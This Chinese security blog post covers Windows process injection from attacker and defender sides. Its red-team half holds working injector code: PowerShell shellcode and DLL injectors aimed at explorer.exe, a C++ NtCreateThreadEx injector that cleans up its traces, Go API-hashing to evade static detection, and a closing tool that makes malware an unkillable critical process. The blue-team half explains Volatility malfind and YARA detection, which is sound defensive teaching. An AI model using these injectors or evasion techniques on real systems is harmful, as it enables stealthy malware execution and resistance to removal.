长风安全实战能力知识库
http://wave.cf-sec.cn/user/login
一个由实战派推动的安全内容建设平台,传递一线经验,助力实战应用能力提升!
长风安全实战能力知识库
长风安全,公众号:长风安全长风安全实战能力知识库
本文来源于长风安全实战能力知识库7ech_N3rd投稿,基于红蓝对抗视角下对Windows进程注入进行探讨和融入个人想法见解💡
视角一
RedTeam
Red Team
经典路径
(OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread)。就好比把大象放进冰箱要几步:
- 打开冰箱门(OpenProcess)
首先,你得找到目标进程(冰箱)并打开它的“门”。
调用OpenProcess
,就是告诉系统:“我要访问这个进程的资源。”如果成功,你就拿到了目标进程的“句柄”(类似于钥匙)。 - 腾出空间放大象(VirtualAllocEx)
冰箱(目标进程)里可能没有足够的空间放你的大象,所以你需要在冰箱里“清理”或“分配”一块空间。
调用VirtualAllocEx
,就是在目标进程的内存中分配一块新的区域,用来存放你的代码。 - 把大象放进冰箱(WriteProcessMemory)
现在有了空间,你需要把你的大象(shellcode代码)放进去。
调用WriteProcessMemory
,就是把你的代码写入目标进程的内存中。 - 关上冰箱门并且启动(CreateRemoteThread)
大象放进去了,但它还只是静静地躺在那里。你需要让冰箱启动,开始“工作”——也就是让目标进程运行你刚才放进去的代码。
调用CreateRemoteThread
,就是在目标进程中创建一个新的线程,让它指向你写入的shellcode代码起始地址,从而执行你的代码。
具体操作
具体实现的Powershell代码:
Set-StrictMode-Version2
# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Injector {
public class Functions {
[Flags]
public enum ProcessAccessFlags : uint {
All = 0x001F0FFF,
CreateThread = 0x0002,
VirtualMemoryOperation = 0x0008,
VirtualMemoryRead = 0x0010,
VirtualMemoryWrite = 0x0020,
QueryInformation = 0x0400
}
[Flags]
public enum AllocationType : uint {
Commit = 0x1000,
Reserve = 0x2000
}
[Flags]
public enum MemoryProtection : uint {
ReadWrite = 0x04,
ExecuteRead = 0x20
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
}
}
"@
# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU, $pmdMx)
# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process-Name"explorer" | Select-Object-First1
if (-not$TargetProcess) { Write-Error"目标进程未找到!"; return }
$TargetPID = $TargetProcess.Id
# 定义Shellcode(替换为实际Shellcode的base64编码)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String("...")
# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")
# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false, $TargetPID)
if (-not$ProcessHandle) { Write-Error"无法打开目标进程!"; return }
# 在目标进程中分配内存(初始为PAGE_READWRITE)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $Shellcode.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not$RemoteMemory) { Write-Error"无法在目标进程中分配内存!"; return }
# 写入Shellcode到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle, $RemoteMemory, $Shellcode, $Shellcode.Length, [ref]$BytesWritten)
if (-not$WriteResult) { Write-Error"无法将Shellcode写入目标进程!"; return }
# 修改内存权限为PAGE_EXECUTE_READ
$OldProtect = [Injector.Functions+MemoryProtection]::ReadWrite
$ProtectResult = $Injector::VirtualProtectEx($ProcessHandle, $RemoteMemory, $Shellcode.Length, [Injector.Functions+MemoryProtection]::ExecuteRead, [ref]$OldProtect)
if (-not$ProtectResult) { Write-Error"无法修改内存权限!"; return }
# 创建远程线程执行Shellcode
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0, $RemoteMemory, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if (-not$ThreadHandle) { Write-Error"无法创建远程线程!"; return }
Write-Host"Shellcode注入成功!"
# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)
这样就实现了对explorer.exe进程的系统注入了,但是想要防御也十分简单,例如我直接监控CreateRemoteThread函数,给这个函数打上钩子。就可以实现防御,那作为攻击者,我们还有什么其他的手法呢?
dll 注入
- 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
- dll注入:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll文件路径) -> CreateRemoteThread(LoadLibraryA(dll文件路径))
有啥好处呢?这样我们就不用对每一个单独的系统写shellcode,只用通过调用专门的dll就能实现恶意代码的注入,扩展性好,但是api调用路径还是没有大变,还是很容易被查杀,
Set-StrictMode-Version2
# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Injector {
public class Functions {
[Flags]
public enum ProcessAccessFlags : uint {
All = 0x001F0FFF,
CreateThread = 0x0002,
VirtualMemoryOperation = 0x0008,
VirtualMemoryRead = 0x0010,
VirtualMemoryWrite = 0x0020,
QueryInformation = 0x0400
}
[Flags]
public enum AllocationType : uint {
Commit = 0x1000,
Reserve = 0x2000
}
[Flags]
public enum MemoryProtection : uint {
ReadWrite = 0x04,
ExecuteRead = 0x20
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
}
}
"@
# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU, $pmdMx)
# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process-Name"explorer" | Select-Object-First1
if (-not$TargetProcess) { Write-Error"目标进程未找到!"; return }
$TargetPID = $TargetProcess.Id
# 定义DLL路径(替换为实际的DLL路径)
$DllPath = "C:PathToYour.dll"
$DllPathBytes = [System.Text.Encoding]::ASCII.GetBytes($DllPath + [char]0) # 添加字符串结束符
# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")
# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false, $TargetPID)
if (-not$ProcessHandle) { Write-Error"无法打开目标进程!"; return }
# 在目标进程中分配内存(用于存储DLL路径)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $DllPathBytes.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not$RemoteMemory) { Write-Error"无法在目标进程中分配内存!"; return }
# 写入DLL路径到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle, $RemoteMemory, $DllPathBytes, $DllPathBytes.Length, [ref]$BytesWritten)
if (-not$WriteResult) { Write-Error"无法将DLL路径写入目标进程!"; return }
# 获取kernel32.dll模块句柄
$Kernel32Handle = $Injector::GetModuleHandle("kernel32.dll")
if (-not$Kernel32Handle) { Write-Error"无法获取kernel32.dll句柄!"; return }
# 获取LoadLibraryA函数地址
$LoadLibraryAddress = $Injector::GetProcAddress($Kernel32Handle, "LoadLibraryA")
if (-not$LoadLibraryAddress) { Write-Error"无法获取LoadLibraryA地址!"; return }
# 创建远程线程,调用LoadLibraryA加载DLL
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0, $LoadLibraryAddress, $RemoteMemory, 0, [IntPtr]::Zero)
if (-not$ThreadHandle) { Write-Error"无法创建远程线程!"; return }
Write-Host"DLL注入成功!"
# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)
更加底层(如调NtCreateThreadEx)
要知道CreateRemoteThread函数的原理是调用了驱动层级的NtCreateThreadEx函数,如果我们直接调用NtCreateThreadEx而不是通过用户层级的CreateRemoteThread,就能更难被发现。这里就不适合使用高级的脚本代码进行调用(太繁琐了,Powershell->C#->.NET->win32API),更适合使用Cpp这种语言实现 这里直接参考了三好学生大佬的开源代码,学习了:https://github.com/3gstudent
//Use NtCreateThreadEx to inject dll
#include"stdafx.h"
#include<windows.h>
#include<stdio.h>
#include<tchar.h>
#include<tlhelp32.h>
#pragma comment(lib,"Advapi32.lib")
typedefNTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
#define NT_SUCCESS(x) ((x) >= 0)
typedefstruct_CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedefNTSTATUS(NTAPI * pfnRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits OPTIONAL,
IN SIZE_T StackReserve OPTIONAL,
IN SIZE_T StackCommit OPTIONAL,
IN PTHREAD_START_ROUTINE StartAddress,
IN PVOID Parameter OPTIONAL,
OUT PHANDLE ThreadHandle OPTIONAL,
OUT PCLIENT_ID ClientId OPTIONAL);
BOOL InjectDll(UINT32 ProcessId, char *DllFullPath)
{
if (strstr(DllFullPath, "\\") != 0)
{
printf("[!]Wrong Dll pathn");
return FALSE;
}
if (strstr(DllFullPath, "\") == 0)
{
printf("[!]Need Dll full pathn");
return FALSE;
}
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (ProcessHandle == NULL)
{
printf("[!]OpenProcess errorn");
return FALSE;
}
UINT32 DllFullPathLength = (strlen(DllFullPath) + 1);
PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]DllFullPathBufferData errorn");
return FALSE;
}
SIZE_T ReturnLength;
BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength);
LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
HMODULE Kernel32Module = GetModuleHandle("Kernel32");
LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (NtCreateThreadEx == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]NtCreateThreadEx errorn");
return FALSE;
}
HANDLE ThreadHandle = NULL;
NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL);
if (ThreadHandle == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]ThreadHandle errorn");
return FALSE;
}
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
{
printf("[!]WaitForSingleObject errorn");
return FALSE;
}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}
BOOL FreeDll(UINT32 ProcessId, char *DllFullPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot;
HMODULE hModule = NULL;
MODULEENTRY32 me = { sizeof(me) };
BOOL bSuccess = FALSE;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);
bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) {
if (!_tcsicmp((LPCTSTR)me.szModule, DllFullPath) || !_tcsicmp((LPCTSTR)me.szExePath, DllFullPath))
{
bFound = TRUE;
break;
}
}
if (!bFound) {
CloseHandle(hSnapshot);
return FALSE;
}
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (ProcessHandle == NULL)
{
printf("[!]OpenProcess errorn");
return FALSE;
}
LPTHREAD_START_ROUTINE FreeLibraryAddress = NULL;
HMODULE Kernel32Module = GetModuleHandle("Kernel32");
FreeLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "FreeLibrary");
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (NtCreateThreadEx == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]NtCreateThreadEx errorn");
return FALSE;
}
HANDLE ThreadHandle = NULL;
NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)FreeLibraryAddress, me.modBaseAddr, FALSE, NULL, NULL, NULL, NULL);
if (ThreadHandle == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]ThreadHandle errorn");
return FALSE;
}
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
{
printf("[!]WaitForSingleObject errorn");
return FALSE;
}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}
BOOL EnableDebugPrivilege(BOOL fEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
intmain(int argc, char *argv[])
{
printf("Use NtCreateThreadEx to inject dllnn");
if (!EnableDebugPrivilege(TRUE))
{
printf("[!]AdjustTokenPrivileges Failed.<%d>n", GetLastError());
}
if (argc != 3)
{
printf("Usage:n");
printf("%s <PID> <Dll Full Path>n", argv[0]);
return0;
}
if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))
{
printf("[!]InjectDll error n");
return1;
}
if (!FreeDll((DWORD)atoi(argv[1]), argv[2]))
{
printf("[!]FreeDll error n");
return1;
}
printf("[+]InjectDll successn");
return0;
}
这里的调用链说白了就是
- EnableDebugPrivilege -> OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll路径) -> NtCreateThreadEx调用-> Check Thread Object&WaitForSingleObject(检测是否注入成功)->Freedll(善后工作,清理痕迹)
其中EnableDebugPrivilege是确保我们有能够对其他进程读写的权限,后面的Freedll之类的操作相较于经典路径是被封装到了CreateRemoteThread这个函数里了,所以难度更大
隐式调用
- 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
- 隐式路径:DynamticLoad(OpenProcess) -> DynamticLoad(VirtualAllocEx) -> DynamticLoad(WriteProcessMemory(shellcode)) -> DynamticLoad(CreateRemoteThread)
这招主要对抗的是静态分析,例如我作为杀软很有可能检测你的具体调用了那些win32API,一但看到这上面几个关键的API说明有大问题。那么我们可以先加载kernel32.dll,然后再去里面根据想要的时候,动态加载那些函数,例如在下面的go代码中,我就是通过哈希来定位具体的函数位置,在使用的时候就可以调用该函数加载了win32API了
package main
import (
"bytes"
"encoding/binary"
"fmt"
"syscall"
"unsafe"
)
const (
PROCESS_ALL_ACCESS = 0x001F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04
)
type ExportDirectory struct {
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
funchashFunctionName(functionName string)uint32 {
var hash uint32 = 0
for _, c := range functionName {
hash = ((hash << 5) + hash) + uint32(c) // 等价于 hash * 33 + c
}
return hash
}
funcgetProcAddressByHash(module syscall.Handle, targetHash uint32) (uintptr, error) {
moduleBase := uintptr(module)
dosHeader := (*[64]byte)(unsafe.Pointer(moduleBase)) // DOS Header
peOffset := binary.LittleEndian.Uint32(dosHeader[0x3C:0x40])
peHeader := moduleBase + uintptr(peOffset)
exportDirectoryRVA := binary.LittleEndian.Uint32((*[4]byte)(unsafe.Pointer(peHeader + 0x78))[:])
exportDirectory := (*ExportDirectory)(unsafe.Pointer(moduleBase + uintptr(exportDirectoryRVA)))
addressOfNames := moduleBase + uintptr(exportDirectory.AddressOfNames)
addressOfFunctions := moduleBase + uintptr(exportDirectory.AddressOfFunctions)
addressOfNameOrdinals := moduleBase + uintptr(exportDirectory.AddressOfNameOrdinals)
for i := uint32(0); i < exportDirectory.NumberOfNames; i++ {
nameRVA := *(*uint32)(unsafe.Pointer(addressOfNames + uintptr(i*4)))
name := (*byte)(unsafe.Pointer(moduleBase + uintptr(nameRVA)))
var nameBuf bytes.Buffer
for *name != 0 {
nameBuf.WriteByte(*name)
name = (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(name)) + 1))
}
functionName := nameBuf.String()
hash := hashFunctionName(functionName)
if hash == targetHash {
ordinal := *(*uint16)(unsafe.Pointer(addressOfNameOrdinals + uintptr(i*2)))
functionRVA := *(*uint32)(unsafe.Pointer(addressOfFunctions + uintptr(ordinal*4)))
return moduleBase + uintptr(functionRVA), nil
}
}
return0, fmt.Errorf("目标函数未找到")
}
...
loadLibraryHash := hashFunctionName("LoadLibraryA") // 动态解析LoadLibraryA的地址
loadLibraryAddr, err := getProcAddressByHash(syscall.Handle(kernel32), loadLibraryHash)
...
syscall地狱之门
挖个坑先还在学,简单讲就是在当今普遍的64位进程中是可以兼容32位的程序的,那具体是咋实现的呢? 去你的64位电脑C:Windows目录下看看会发现相较于传统的32位电脑SysWow64的文件夹,其实这个里面全是32位的程序,用于兼容64位系统上的32位程序。 WOW64 的具体作用是:
-
模拟一个 32 位环境,让 32 位程序能够在 64 位操作系统上运行。 -
将 32 位程序的系统调用请求转换为对应的 64 位系统调用。
“地狱之门”(Hell’s Gate)技术的核心是从 32 位模式切换到 64 位模式。通过这种切换,程序可以直接调用 64 位的系统调用,而绕过 WOW64 的转换层。
切换到 64 位模式后:
-
程序不再受 WOW64 的限制,可以直接调用 64 位的系统调用。 -
不需要再通过 Win32 API,直接与内核交互。 一下是具体流程
64 位程序调用流程
---------------------------------------------------------
[64 位程序] --> [Win32 API] --> [64 位系统调用] --> [内核]
---------------------------------------------------------
普通 32 位程序调用流程(经过 WOW64 子系统)
---------------------------------------------------------
[32 位程序] --> [Win32 API (32 位)] --> [WOW64 转换层] --> [64 位系统调用] --> [内核]
---------------------------------------------------------
地狱之门程序调用流程(绕过 WOW64 子系统)
---------------------------------------------------------
[32 位程序] --> [切换到 64 位模式] --> [64 位系统调用] --> [内核]
---------------------------------------------------------
那么如何切换呢?这就要用到汇编代码了,可惜我还不会,请一个逆向大手子来救救我 GPT说是
mov r10, rcx ; 将第一个参数移动到 r10
mov eax, syscallNumber ; 加载系统调用号到 eax
syscall ; 执行系统调用
ret ; 返回到调用者
视角二
BlueTeam
Blue Team
现在我们了解了那么多的手法,有无好的查杀手段呢?
定位高权限内存数据
在上述的利用链子中我们发现都有一步VirtualAllocEx
申请内存为可执行权限,而且允许黑客读写,这其实是相当高的权限了,所以说我们只要定位这一部分的内存数据,结合网络链接情况定位,就能够实现查杀。不止如此,如果一个内存中二进制代码没有对应的硬盘文件内容,那么这个就很有可能是shellcode的了
Volatility一把梭
现有的Volatility工具的malfind插件就是干这个事情的。当你调用插件的时候,首先,malfind 会扫描所有进程的虚拟内存空间,逐一检查每个内存段。它会重点关注内存段的保护标志(Memory Protection Flags),因为合法的代码段通常具有特定的权限,比如 PAGE_EXECUTE_READ
或 PAGE_EXECUTE_READWRITE
。如果一个内存段同时具有可执行(EXECUTE
)和写入(WRITE
)权限(例如 PAGE_EXECUTE_READWRITE
),这可能是恶意代码注入的迹象,因为合法的代码段通常不会同时允许写入和执行。
其次,malfind 会检查内存段是否映射到磁盘上的文件。如果一个可执行的内存段没有对应的磁盘文件,那么它很可能是恶意代码,比如通过进程注入或 shellcode 加载的代码。
此外,malfind 还会提取可疑的内存区域,并尝试显示其前几个字节的十六进制和反汇编内容,以便进一步分析。例如,恶意代码的入口点可能包含典型的 shellcode 或异常的指令,这些都可以通过反汇编内容识别出来。 具体命令
vol.py -f <dumpfile> windows.MalFind.Malfind
还有就是重点关注例如explorer.exe
,onedrive.exe
,svchost.exe
这些都是可能的低权限的系统进程,很隐蔽,不好发现有啥问题。还有就是如chrome.exe
,msedge.exe
这些浏览器进程,因为这些程序向外发送请求非常正常。今年国赛+长城杯的溯源题目就是注入到了Onedrive.exe
里面
基于正则的内存检测(yara)
网上有开源的yara框架就是基于正则和规则的扫描:VirusTotal/yara: The pattern matching swiss knife
yara [选项] <规则文件> <目标文件或目录>
这个最主要还是看规则
yara规则大赏
关于开源的规则其实网上也有: 这里我们就拿一个Scarab的恶意进程检测的yar文件来看看yar规则具体是怎么一回事。
import "pe"
rule Scieron
{
meta:
author = "Symantec Security Response"
ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
date = "22.01.15"
strings:
// .text:10002069 66 83 F8 2C cmp ax, ','
// .text:1000206D 74 0C jz short loc_1000207B
// .text:1000206F 66 83 F8 3B cmp ax, ';'
// .text:10002073 74 06 jz short loc_1000207B
// .text:10002075 66 83 F8 7C cmp ax, '|'
// .text:10002079 75 05 jnz short loc_10002080
$code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}
// .text:10001D83 83 F8 09 cmp eax, 9 ; switch 10 cases
// .text:10001D86 0F 87 DB 00 00 00 ja loc_10001E67 ; jumptable 10001D8C default case
// .text:10001D8C FF 24 85 55 1F 00+ jmp ds:off_10001F55[eax*4] ; switch jump
$code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}
$str1 = "IP_PADDING_DATA" wide ascii
$str2 = "PORT_NUM" wide ascii
condition:
all of them
}
这个就是导入pe.yar里的所有规则
import pe
在这里meta部分指得是这个规则的信息,像是作者还有规则发布日期之类的,
meta:
author = "Symantec Security Response"
ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
date = "22.01.15"
而这里的code1是匹配的十六进制变量: $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}
对应汇编代码就是
cmp ax, ','
jz short loc_1000207B
cmp ax, ';'
jz short loc_1000207B
cmp ax, '|'
jnz short loc_10002080``
同理$code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}
但不同的是$str1 = "IP_PADDING_DATA" wide ascii
就是匹配中所有内容为IP_PADDING_DATA
可见字符 最后的
condition:
all of them
就是匹配上述所有的所有变量,包括所有的16进制变量和ASCII变量 那么我们也可以根据这些编写自己的规则了。
Vol + yara联动
其实vol里面也有yarascan的插件用于加载yar规则并且扫描。例如我先用vol的malfind
和malscan
确定大致的感染进程,然后结合windows.memdump.Memdump
来实现导出对应进程内存的镜像,最后使用yara
命令来扫描具体是感染了那种木马
花絮
发现一个小技巧,在查资料的时候发现一个内核函数NtSetInformationProcess
,我们只要一杀svchost.exe
就会蓝屏就是因为系统只要检测到关键进程挂了就会蓝屏。但是这个函数能够把我们的木马程序设置为关键进程,这样就能够实现一定程度的防御杀进程了推荐一下gt428的开源小工具:CriticalProcess/criticalproc.cpp at master · CnAoKip/CriticalProcess
#include<windows.h>
#include<Tlhelp32.h>
#include<stdio.h>
#include<locale.h>
#define ProcessBreakOnTermination 29
typedefNTSTATUS(NTAPI *_NtSetInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
typedefNTSTATUS(NTAPI *_NtQueryInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength OPTIONAL);
BOOL WINAPI EnableDebugPrivilege(BOOL fEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
BOOL CallNtSetInformationProcess(HANDLE hProcess, ULONG Flag)
{
_NtSetInformationProcess NtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtSetInformationProcess");
if (!NtSetInformationProcess)
{
return0;
}
if(NtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, &Flag, sizeof(ULONG))<0)
return0;
return1;
}
BOOL CallNtQueryInformationProcess(HANDLE hProcess, PULONG pFlag){
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess)
{
return0;
}
if(NtQueryInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, pFlag, sizeof(ULONG), NULL)<0)
return0;
return1;
}
DWORD WINAPI GetProcessID(LPCSTR FileName)
{
HANDLE myhProcess;
PROCESSENTRY32 mype;
mype.dwSize = sizeof(PROCESSENTRY32);
BOOL mybRet;
myhProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
mybRet = Process32First(myhProcess,&mype);
while(mybRet){
if(lstrcmpA(FileName ,mype.szExeFile) == 0) return mype.th32ProcessID;
else mybRet = Process32Next(myhProcess,&mype);
}
return0;
}
staticvoidprint_help(){
fwprintf(stderr, L"用法:CriticalProc.exe [/n imagename] [/p [pid]] [/t] [/f] [/q]nn
描述:n
使用此工具修改或判断任意进程的关键度。nn
参数:n
/n imagename 通过imagename 指定要设定关键度的进程。n
/p [pid] 通过pid 指定要设定关键度的进程。n
/t 设为关键进程。n
/f 设为普通进程。n
/q 判断指定的进程的关键度。n");
exit(0);
}
staticvoidprint_err(LPCWSTR lpWhere, DWORD dwLastError, LPCWSTR lpExtraInfo){
LPWSTR lpBuffer = (LPWSTR)LocalAlloc(LMEM_ZEROINIT, 1024 * 2);
LPVOID lpMsgBuf;
FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
